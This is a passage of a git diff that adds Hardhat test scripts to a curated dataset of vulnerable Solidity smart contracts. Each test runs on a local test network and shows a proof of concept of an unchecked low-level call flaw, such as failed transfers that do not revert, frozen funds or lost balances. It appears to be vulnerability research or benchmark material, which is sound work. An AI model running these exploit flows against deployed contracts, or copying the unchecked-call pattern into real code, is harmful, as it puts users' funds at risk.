token = await TokenEBU.connect(owner).deploy(1, "EBU", "EBU"); + + return {contract, token} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, token} = await loadFixture(deployContracts); + + const amount = await token.balanceOf(owner.address); + expect(amount).to.be.equal(1000000000000000000n); + expect(await token.balanceOf(contract.target)).to.be.equal(0); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + await token.connect(owner).approve(contract.target, 10); + + const value = await token.allowance(owner.address, contract.target); + expect(value).to.be.equal(10); + + const from = owner.address; + + const to = [contract.target, sig.address]; + + const val = 10; + + // it does not revert cause the return value o all is not checked + await expect(contract.transfer(from, token.target, to, val)).not.be.reverted; + // the second transfer does not happen + expect(await token.balanceOf(owner)).to.be.equal(amount - BigInt(val)); + expect(await token.balanceOf(contract.target)).to.be.equal(10); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x52d2e0f9b01101a59b38a3d05c80b7618aeed984_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x52d2e0f9b01101a59b38a3d05c80b7618aeed984_test.js new file mode 100644 index 0000000..aa7c4f7 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x52d2e0f9b01101a59b38a3d05c80b7618aeed984_test.js @@ -0,0 +1,32 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x52d2e0f9b01101a59b38a3d05c80b7618aeed984.sol", function () { + + let owner; + + async function deployContracts() { + [owner] = await ethers.getSigners(); + const EtherGet = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x52d2e0f9b01101a59b38a3d05c80b7618aeed984.sol:EtherGet"); + const contract = await EtherGet.connect(owner).deploy(); + + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + const amount = ethers.parseEther("1"); + await expect( + owner.sendTransaction({ + to: revertContract.target, + value: amount, + }) + ).to.be.revertedWith("I always revert!"); + + await expect(contract.connect(owner).getTokens(2, revertContract.target)).to.not.be.reverted; + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x627fa62ccbb1c1b04ffaecd72a53e37fc0e17839_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x627fa62ccbb1c1b04ffaecd72a53e37fc0e17839_test.js new file mode 100644 index 0000000..ecc7c01 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x627fa62ccbb1c1b04ffaecd72a53e37fc0e17839_test.js @@ -0,0 +1,61 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x627fa62ccbb1c1b04ffaecd72a53e37fc0e17839.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const TokenBank = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x627fa62ccbb1c1b04ffaecd72a53e37fc0e17839.sol:TokenBank"); + const contract = await TokenBank.connect(owner).deploy(); + + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability in WithdrawToken()", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + + await contract.connect(owner).initTokenBank(); + + const minDeposit = await contract.MinDeposit(); + const oneEther = ethers.parseEther("1"); + expect(minDeposit).to.equal(oneEther); + + await expect( + sig.sendTransaction({ + to: revertContract.target, + value: oneEther, + }) + ).to.be.revertedWith("I always revert!"); + + const amount = ethers.parseEther("2"); + // Signer deposits ether to become a holder + await sig.sendTransaction({ + to: contract.target, + value: amount, + }); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount); + + // Expect signer to be in Holders + expect(await contract.Holders(sig.address)).to.equal(amount); + + // signer puts the wrong address in the withdraw function + await contract.WitdrawTokenToHolder(sig.address, revertContract.target, amount); + + //signer no longer holds tokens + expect(await contract.Holders(sig.address)).to.equal(0); + + const revertBalance = await ethers.provider.getBalance(revertContract.target); + // the wrong contract doesn't get the ether + expect(revertBalance).to.equal(0); + + // the contract still holds the ether + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount); + + + }); + +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x663e4229142a27f00bafb5d087e1e730648314c3_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x663e4229142a27f00bafb5d087e1e730648314c3_test.js new file mode 100644 index 0000000..c8dfaa3 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x663e4229142a27f00bafb5d087e1e730648314c3_test.js @@ -0,0 +1,134 @@ +const { loadFixture, mine} = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); +const { getContractAddress } = require('@ethersproject/address') + + +describe("attack unchecked_low_level_calls/0x663e4229142a27f00bafb5d087e1e730648314c3.sol", function () { + + let owner, amount; + + async function deployContracts() { + [owner] = await ethers.getSigners(); + amount = ethers.parseEther("1.0"); + + let ownerNonce = await owner.getNonce() + 1; + let futureAddress = getContractAddress({ + from: owner.address, + nonce: ownerNonce + }); + + await owner.sendTransaction({ + to: futureAddress, + value: amount, + }); + + const PandaCore = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x663e4229142a27f00bafb5d087e1e730648314c3.sol:PandaCore"); + const contract = await PandaCore.connect(owner).deploy(); + + const GeneScience = await ethers.getContractFactory("contracts/unchecked_low_level_calls/GeneScience.sol:GeneScience"); + const geneScience = await GeneScience.connect(owner).deploy(); + await contract.connect(owner).setGeneScienceAddress(geneScience.target); + + const PandaCaller = await ethers.getContractFactory("contracts/unchecked_low_level_calls/PandaCaller.sol:PandaCaller"); + const pandaCaller = await PandaCaller.connect(owner).deploy(contract.target); + await contract.connect(owner).setCFO(pandaCaller.target); + + const MyERC721 = await ethers.getContractFactory("contracts/unchecked_low_level_calls/MyERC721.sol:MyERC721"); + const nft = await MyERC721.connect(owner).deploy(); + + ownerNonce = await owner.getNonce() + 1; + futureAddress = getContractAddress({ + from: owner.address, + nonce: ownerNonce + }); + + await owner.sendTransaction({ + to: futureAddress, + value: amount, + }); + + const SaleClockAuction = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x663e4229142a27f00bafb5d087e1e730648314c3.sol:SaleClockAuction"); + const saleAuction = await SaleClockAuction.connect(owner).deploy(nft.target, 10); + + ownerNonce = await owner.getNonce() + 1; + futureAddress = getContractAddress({ + from: owner.address, + nonce: ownerNonce + }); + + await owner.sendTransaction({ + to: futureAddress, + value: amount, + }); + + const SiringClockAuction = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x663e4229142a27f00bafb5d087e1e730648314c3.sol:SiringClockAuction"); + const siringAuction = await SiringClockAuction.connect(owner).deploy(contract.target, 10); + + return {pandaCaller, contract, saleAuction, siringAuction, nft} + }; + + it("exploit unchecked low level call vulnerability in function withdrawAuctionBalances()", async function () { + const {pandaCaller, contract, saleAuction, siringAuction, nft} = await loadFixture(deployContracts); + await expect( + owner.sendTransaction({ + to: nft.target, + value: amount, + }) + ).to.be.revertedWith("I always revert!"); + + await saleAuction.connect(owner).transferOwnership(contract.target); + + expect(await ethers.provider.getBalance(saleAuction.target)).to.be.equal(amount); + expect(await ethers.provider.getBalance(siringAuction.target)).to.be.equal(amount); + + await contract.connect(owner).setSiringAuctionAddress(siringAuction.target); + await contract.connect(owner).setSaleAuctionAddress(saleAuction.target); + + await expect(contract.connect(owner).withdrawAuctionBalances()).to.not.be.reverted; + + expect(await ethers.provider.getBalance(saleAuction.target)).to.be.equal(amount); + expect(await ethers.provider.getBalance(siringAuction.target)).to.be.equal(0); + + }); + + + it("exploit unchecked low level call vulnerability in function giveBirth()", async function () { + const {pandaCaller, contract, saleAuction, siringAuction, nft} = await loadFixture(deployContracts); + await contract.connect(owner).setSiringAuctionAddress(siringAuction.target); + await contract.connect(owner).setSaleAuctionAddress(saleAuction.target); + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + expect(await ethers.provider.getBalance(pandaCaller.target)).to.be.equal(0); + await expect( + owner.sendTransaction({ + to: pandaCaller.target, + value: amount, + }) + ).to.be.revertedWith("I always revert!"); + + await expect(pandaCaller.withdraw()).to.not.be.reverted; + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + expect(await ethers.provider.getBalance(pandaCaller.target)).to.be.equal(0); + + await contract.connect(owner).init(); + await contract.connect(owner).unpause(); + + await contract.connect(owner).createWizzPanda([1,1], 0, owner.address); + await contract.connect(owner).createWizzPanda([2,2], 0, owner.address); + + await contract.connect(owner).breedWithAuto(2, 1, {value: amount}); + + + await mine(10000); + + // giveBirth function ends even when the call to the external contract fails + await expect(pandaCaller.call(2, [3,3], [100,0])) + .to.emit(contract, "Birth") + .withArgs(owner.address, 3, 2, 1, [3,3]); + + // caller does not get the reward + expect(await ethers.provider.getBalance(pandaCaller.target)).to.be.equal(0); + + }); + + +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x7d09edb07d23acb532a82be3da5c17d9d85806b4_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x7d09edb07d23acb532a82be3da5c17d9d85806b4_test.js new file mode 100644 index 0000000..89db1f5 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x7d09edb07d23acb532a82be3da5c17d9d85806b4_test.js @@ -0,0 +1,51 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x7d09edb07d23acb532a82be3da5c17d9d85806b4.sol", function () { + + let owner, amount; + + async function deployContracts() { + amount = ethers.parseEther("0.01"); + [owner] = await ethers.getSigners(); + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + const PoCGame = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x7d09edb07d23acb532a82be3da5c17d9d85806b4.sol:PoCGame"); + const contract = await PoCGame.connect(owner).deploy(revertContract.target, amount); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + await expect( + owner.sendTransaction({ + to: revertContract.target, + value: amount, + }) + ).to.be.revertedWith("I always revert!"); + + const donatedValue = await ethers.provider.getStorage(contract.target, 8); + expect(Number(donatedValue)).to.be.equal(0); + await expect(contract.connect(owner).AdjustDifficulty(amount)) + .to.emit(contract, "DifficultyChanged") + .withArgs(amount); + await contract.connect(owner).OpenToThePublic(); + + await expect(contract.connect(owner).wager({value: amount})) + .to.emit(contract, "Wager") + .withArgs(amount, owner.address); + + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + await expect(contract.connect(owner).play()) + .to.emit(contract, "Lose") + .withArgs(amount/BigInt(2), owner.address); + + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + expect(await ethers.provider.getBalance(revertContract.target)).to.be.equal(0); + const donatedValueAfter = await ethers.provider.getStorage(contract.target, 8); + expect(Number(donatedValueAfter)).to.be.equal(amount/BigInt(2)); + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x89c1b3807d4c67df034fffb62f3509561218d30b_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x89c1b3807d4c67df034fffb62f3509561218d30b_test.js new file mode 100644 index 0000000..8984ed0 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x89c1b3807d4c67df034fffb62f3509561218d30b_test.js @@ -0,0 +1,92 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/unchecked_return_value.sol", function () { + let owner; + async function deployContracts() { + [owner] = await ethers.getSigners(); + const TownCrier = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x89c1b3807d4c67df034fffb62f3509561218d30b.sol:TownCrier"); + const contract = await TownCrier.connect(owner).deploy(); + + const TownCrierCaller = await ethers.getContractFactory("contracts/unchecked_low_level_calls/TownCrierCaller.sol:TownCrierCaller"); + const caller = await TownCrierCaller.deploy(contract.target); + + return {contract, caller} + }; + + it("exploit unchecked low level call vulnerability in line 192", async function () { + const {contract, caller} = await loadFixture(deployContracts); + const SGX_ADDRESS = "0x18513702cCd928F2A3eb63d900aDf03c9cc81593"; + await network.provider.request({ + method: "hardhat_impersonateAccount", + params: [SGX_ADDRESS], + }); + const SGX_sign = await ethers.getSigner(SGX_ADDRESS); + + await owner.sendTransaction({ + to: SGX_ADDRESS, + value: ethers.parseEther("10"), + }); + + const requestType = 1; + + const requestData = [ + ethers.encodeBytes32String("data") + ]; + + await expect(caller.response(1,1,requestData[0])).to.be.reverted; + + const amount = ethers.parseEther("1"); + const tx = caller.request(requestType, requestData, {value: amount}); + await expect(caller.request(requestType, requestData, {value: amount})) + .to.emit(contract, "RequestInfo"); + + let fee = await contract.requests(1); + expect(fee[1]).to.be.equal(amount); + const paramsHash = caller.hash(); + + await expect(contract.connect(SGX_sign).deliver(1, paramsHash, 0, ethers.encodeBytes32String("data"))) + .to.emit(contract, "DeliverInfo"); + + fee = await contract.requests(1); + expect(fee[1]).to.be.equal(0); + }); + + it("exploit unchecked low level call vulnerability in line 180", async function () { + const {contract, caller} = await loadFixture(deployContracts); + const SGX_ADDRESS = "0x18513702cCd928F2A3eb63d900aDf03c9cc81593"; + await network.provider.request({ + method: "hardhat_impersonateAccount", + params: [SGX_ADDRESS], + }); + const SGX_sign = await ethers.getSigner(SGX_ADDRESS); + + await owner.sendTransaction({ + to: SGX_ADDRESS, + value: ethers.parseEther("10"), + }); + + const requestType = 1; + + const requestData = [ + ethers.encodeBytes32String("data") + ]; + + await expect(owner.sendTransaction({to: caller.target, value: 1})).to.be.reverted; + + const amount = ethers.parseEther("1"); + const tx = caller.request(requestType, requestData, {value: amount}); + await expect(caller.request(requestType, requestData, {value: amount})) + .to.emit(contract, "RequestInfo"); + + let fee = await contract.requests(1); + expect(fee[1]).to.be.equal(amount); + const paramsHash = caller.hash(); + + await expect(contract.connect(SGX_sign).deliver(1, paramsHash, 3, ethers.encodeBytes32String("data"))) + .to.emit(contract, "DeliverInfo"); + + fee = await contract.requests(1); + expect(fee[1]).to.be.equal(0); + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x8fd1e427396ddb511533cf9abdbebd0a7e08da35_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x8fd1e427396ddb511533cf9abdbebd0a7e08da35_test.js new file mode 100644 index 0000000..9450dc3 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0x8fd1e427396ddb511533cf9abdbebd0a7e08da35_test.js @@ -0,0 +1,106 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0x8fd1e427396ddb511533cf9abdbebd0a7e08da35.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const TokenBank = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0x8fd1e427396ddb511533cf9abdbebd0a7e08da35.sol:TokenBank"); + const contract = await TokenBank.connect(owner).deploy(); + + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability in WithdrawToken()", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + + await contract.connect(owner).initTokenBank(); + + const minDeposit = await contract.MinDeposit(); + const oneEther = ethers.parseEther("1"); + expect(minDeposit).to.equal(oneEther); + + await expect( + sig.sendTransaction({ + to: revertContract.target, + value: oneEther, + }) + ).to.be.revertedWith("I always revert!"); + + const amount = ethers.parseEther("2"); + // Signer deposits ether to become a holder + await sig.sendTransaction({ + to: contract.target, + value: amount, + }); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount); + + // Expect signer to be in Holders + expect(await contract.Holders(sig.address)).to.equal(amount); + + // signer puts the wrong address in the withdraw function + await contract.WitdrawTokenToHolder(sig.address, revertContract.target, amount); + + //signer no longer holds tokens + expect(await contract.Holders(sig.address)).to.equal(0); + + const revertBalance = await ethers.provider.getBalance(revertContract.target); + // the wrong contract doesn't get the ether + expect(revertBalance).to.equal(0); + + // the contract still holds the ether + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount); + + + }); + + it("exploit unchecked low level call vulnerability in WithdrawToHolder()", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + + await contract.connect(owner).initTokenBank(); + + const minDeposit = await contract.MinDeposit(); + const oneEther = ethers.parseEther("1"); + expect(minDeposit).to.equal(oneEther); + + await expect( + sig.sendTransaction({ + to: revertContract.target, + value: oneEther, + }) + ).to.be.revertedWith("I always revert!"); + + const amount = ethers.parseEther("2"); + + await revertContract.connect(sig).sendEther(contract.target, {value: amount}); + + await owner.sendTransaction({ + to: contract.target, + value: amount, + }); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount + amount); + + expect(await contract.Holders(revertContract.target)).to.equal(amount); + + expect(await contract.Holders(owner.address)).to.equal(amount); + + await contract.connect(owner).WithdrawToHolder(revertContract.target, amount); + + expect(await contract.Holders(owner.address)).to.equal(amount); + expect(await contract.Holders(revertContract.target)).to.equal(0); + + + const revertBalance = await ethers.provider.getBalance(revertContract.target); + expect(revertBalance).to.equal(0); + + expect(await ethers.provider.getBalance(contract.target)).to.equal(amount + amount); + + }); + + +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xa1fceeff3acc57d257b917e30c4df661401d6431_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xa1fceeff3acc57d257b917e30c4df661401d6431_test.js new file mode 100644 index 0000000..c958124 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xa1fceeff3acc57d257b917e30c4df661401d6431_test.js @@ -0,0 +1,44 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0xa1fceeff3acc57d257b917e30c4df661401d6431.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const AirDropContract = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0xa1fceeff3acc57d257b917e30c4df661401d6431.sol:AirDropContract"); + const contract = await AirDropContract.deploy(); + + const TokenEBU = await ethers.getContractFactory("contracts/unchecked_low_level_calls/TokenEBU.sol:TokenEBU"); + const token = await TokenEBU.connect(owner).deploy(1, "EBU", "EBU"); + + return {contract, token} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, token} = await loadFixture(deployContracts); + + const amount = await token.balanceOf(owner.address); + expect(amount).to.be.equal(1000000000000000000n); + expect(await token.balanceOf(contract.target)).to.be.equal(0); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + await token.connect(owner).approve(contract.target, 10); + + const value = await token.allowance(owner.address, contract.target); + expect(value).to.be.equal(10); + + const from = owner.address; + + const to = [contract.target, sig.address]; + + const val = [10, 10]; + + // it does not revert cause the return value o all is not checked + await expect(contract.transfer(token.target, to, val)).not.be.reverted; + // the second transfer does not happen + expect(await token.balanceOf(owner)).to.be.equal(amount - BigInt(10)); + expect(await token.balanceOf(contract.target)).to.be.equal(10); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xa46edd6a9a93feec36576ee5048146870ea2c3ae_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xa46edd6a9a93feec36576ee5048146870ea2c3ae_test.js new file mode 100644 index 0000000..c0bd1be --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xa46edd6a9a93feec36576ee5048146870ea2c3ae_test.js @@ -0,0 +1,44 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0xa46edd6a9a93feec36576ee5048146870ea2c3ae.sol", function () { + let owner, sig; + async function deployContracts() { + [owner, sig] = await ethers.getSigners(); + const EBU = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0xa46edd6a9a93feec36576ee5048146870ea2c3ae.sol:EBU"); + const contract = await EBU.deploy(); + + const TokenEBU = await ethers.getContractFactory("contracts/unchecked_low_level_calls/TokenEBU.sol:TokenEBU"); + const token = await TokenEBU.connect(owner).deploy(1, "EBU", "EBU"); + + return {contract, token} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, token} = await loadFixture(deployContracts); + + const amount = await token.balanceOf(owner.address); + expect(amount).to.be.equal(1000000000000000000n); + expect(await token.balanceOf(contract.target)).to.be.equal(0); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + await token.connect(owner).approve(contract.target, 10); + + const value = await token.allowance(owner.address, contract.target); + expect(value).to.be.equal(10); + + const from = owner.address; + + const to = [contract.target, sig.address]; + + const val = [10, 10]; + + // it does not revert cause the return value o all is not checked + await expect(contract.transfer(from, token.target, to, val)).not.be.reverted; + // the second transfer does not happen + expect(await token.balanceOf(owner)).to.be.equal(amount - BigInt(10)); + expect(await token.balanceOf(contract.target)).to.be.equal(10); + expect(await token.balanceOf(sig.address)).to.be.equal(0); + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xb11b2fed6c9354f7aa2f658d3b4d7b31d8a13b77_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xb11b2fed6c9354f7aa2f658d3b4d7b31d8a13b77_test.js new file mode 100644 index 0000000..af29c47 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xb11b2fed6c9354f7aa2f658d3b4d7b31d8a13b77_test.js @@ -0,0 +1,56 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0xb11b2fed6c9354f7aa2f658d3b4d7b31d8a13b77.sol", function () { + + let owner; + + async function deployContracts() { + [owner] = await ethers.getSigners(); + const DepositProxy = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0xb11b2fed6c9354f7aa2f658d3b4d7b31d8a13b77.sol:DepositProxy"); + const contract = await DepositProxy.connect(owner).deploy(); + + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + const amount = ethers.parseEther("1"); + await expect( + owner.sendTransaction({ + to: revertContract.target, + value: amount, + }) + ).to.be.revertedWith("I always revert!"); + + const DepositBalanceBefore = await ethers.provider.getBalance(contract.target); + expect(DepositBalanceBefore).to.be.equal(0); + + const RevertBalanceBefore = await ethers.provider.getBalance(revertContract.target); + expect(RevertBalanceBefore).to.be.equal(0); + + await expect(contract.connect(owner).proxy(revertContract.target, "0x", {value: amount})).to.not.be.reverted; + + expect(await ethers.provider.getBalance(revertContract.target)).to.be.equal(0); + + //funds are frozen in the contract + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + + + await contract.connect(owner).Vault(); + + expect(await contract.Owner()).to.be.equal(owner.address); + expect(await contract.Deposits(owner.address)).to.be.equal(0); + const OwnerBalance = await ethers.provider.getBalance(owner.address); + //withdraw won't return the funds sincet the deposit is zero + const tx = await contract.connect(owner).withdraw(amount); + const receipt = await tx.wait(); + expect(await ethers.provider.getBalance(owner.address)).to.be.equal(OwnerBalance - receipt.gasUsed * tx.gasPrice); + + + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7_test.js new file mode 100644 index 0000000..42505b5 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7_test.js @@ -0,0 +1,45 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7.sol", function () { + + let owner; + + async function deployContracts() { + [owner] = await ethers.getSigners(); + const keepMyEther = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0xb7c5c5aa4d42967efe906e1b66cb8df9cebf04f7.sol:keepMyEther"); + const contract = await keepMyEther.connect(owner).deploy(); + + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(0); + expect(await ethers.provider.getBalance(revertContract.target)).to.be.equal(0); + const amount = ethers.parseEther("1"); + await expect( + owner.sendTransaction({ + to: revertContract.target, + value: amount, + }) + ).to.be.revertedWith("I always revert!"); + + await revertContract.sendEther(contract.target, {value: amount}); + + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + expect(await contract.balances(revertContract.target)).to.be.equal(amount); + + await expect(revertContract.withdrawEther(contract.target)).to.not.be.reverted; + + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + + expect(await ethers.provider.getBalance(revertContract.target)).to.be.equal(0); + + expect(await contract.balances(revertContract.target)).to.be.equal(0); + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xbaa3de6504690efb064420d89e871c27065cdd52_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xbaa3de6504690efb064420d89e871c27065cdd52_test.js new file mode 100644 index 0000000..c5bc16b --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xbaa3de6504690efb064420d89e871c27065cdd52_test.js @@ -0,0 +1,56 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0xbaa3de6504690efb064420d89e871c27065cdd52.sol", function () { + + let owner; + + async function deployContracts() { + [owner] = await ethers.getSigners(); + const VaultProxy = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0xbaa3de6504690efb064420d89e871c27065cdd52.sol:VaultProxy"); + const contract = await VaultProxy.connect(owner).deploy(); + + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + const amount = ethers.parseEther("1"); + await expect( + owner.sendTransaction({ + to: revertContract.target, + value: amount, + }) + ).to.be.revertedWith("I always revert!"); + + const DepositBalanceBefore = await ethers.provider.getBalance(contract.target); + expect(DepositBalanceBefore).to.be.equal(0); + + const RevertBalanceBefore = await ethers.provider.getBalance(revertContract.target); + expect(RevertBalanceBefore).to.be.equal(0); + + await expect(contract.connect(owner).proxy(revertContract.target, "0x", {value: amount})).to.not.be.reverted; + + expect(await ethers.provider.getBalance(revertContract.target)).to.be.equal(0); + + //funds are frozen in the contract + expect(await ethers.provider.getBalance(contract.target)).to.be.equal(amount); + + + await contract.connect(owner).Vault(); + + expect(await contract.Owner()).to.be.equal(owner.address); + expect(await contract.Deposits(owner.address)).to.be.equal(0); + const OwnerBalance = await ethers.provider.getBalance(owner.address); + //withdraw won't return the funds sincet the deposit is zero + const tx = await contract.connect(owner).withdraw(amount); + const receipt = await tx.wait(); + expect(await ethers.provider.getBalance(owner.address)).to.be.equal(OwnerBalance - receipt.gasUsed * tx.gasPrice); + + + + }); +}); diff --git a/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xbebbfe5b549f5db6e6c78ca97cac19d1fb03082c_test.js b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xbebbfe5b549f5db6e6c78ca97cac19d1fb03082c_test.js new file mode 100644 index 0000000..81d29e3 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/unchecked_low_level_calls/0xbebbfe5b549f5db6e6c78ca97cac19d1fb03082c_test.js @@ -0,0 +1,56 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe("attack unchecked_low_level_calls/0xbebbfe5b549f5db6e6c78ca97cac19d1fb03082c.sol", function () { + + let owner; + + async function deployContracts() { + [owner] = await ethers.getSigners(); + const VaultProxy = await ethers.getContractFactory("contracts/dataset/unchecked_low_level_calls/0xbebbfe5b549f5db6e6c78ca97cac19d1fb03082c.sol:VaultProxy"); + const contract = await VaultProxy.connect(owner).deploy(); + + const RevertContract = await ethers.getContractFactory("contracts/unchecked_low_level_calls/revert_contract.sol:RevertContract"); + const revertContract = await RevertContract.deploy(); + + return {contract, revertContract} + }; + + it("exploit unchecked low level call vulnerability", async function () { + const {contract, revertContract} = await loadFixture(deployContracts); + const amount = ethers.parseEther("1"); + await expect( + 